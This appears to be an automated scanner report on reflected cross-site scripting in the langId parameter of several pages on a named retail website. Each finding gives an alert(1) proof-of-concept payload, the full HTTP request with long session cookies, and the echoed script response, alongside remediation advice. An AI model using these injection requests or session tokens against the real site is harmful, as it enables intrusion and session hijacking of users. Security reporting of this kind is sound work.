Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd37a'-alert(1)-'1bc2aad63fc was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /GiveTogether?storeId=10153&catalogId=12605&langId=dd37a'-alert(1)-'1bc2aad63fc&nextView=GTHomePageView HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=dd37a'-alert(1)-'1bc2aad63fc&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d78a2'-alert(1)-'a63c70ab53b was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/AdYourWay?storeId=10153&catalogId=12605&langId=-1d78a2'-alert(1)-'a63c70ab53b&adCell=WF HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-1d78a2'-alert(1)-'a63c70ab53b&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d996'-alert(1)-'17a755c0211 was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/ForgotPasswordModalView?langId=-16d996'-alert(1)-'17a755c0211&storeId=10153&catalogId=12605&ForForgotPasswordURL= HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-16d996'-alert(1)-'17a755c0211&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dda09'-alert(1)-'8aab129d71c was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/GRLandingPageView?storeId=10153&catalogId=12605&langId=dda09'-alert(1)-'8aab129d71c&adCell=W3 HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=dda09'-alert(1)-'8aab129d71c&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8922'-alert(1)-'9992f4af935 was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/GiveTogetherHomeView?storeId=10153&catalogId=12605?storeId=10153&catalogId=12605&langId=d8922'-alert(1)-'9992f4af935&nextView=GTHomePageView&adCell=W3 HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=d8922'-alert(1)-'9992f4af935&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fa905'-alert(1)-'26f8f77d1d3 was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shc/s/InterestItemDisplayCmd?storeId=10153&catalogId=12605&langId=-1fa905'-alert(1)-'26f8f77d1d3&adCell=WF HTTP/1.1 Host: www.sears.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;
var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-1fa905'-alert(1)-'26f8f77d1d3&catalogInd=DZD&dzName=A4'; var imagePath='http://c2.shld.net/111520/'; intIpAjaxFlag = 'FALSE'; if(storeId='10153'){ searchRedesignFlag = 'true'; } var scene7Url='http://s.shld.net/is/image/Sea ...[SNIP]...
The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80efb'-alert(1)-'c7aded6b4c0 was submitted in the langId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
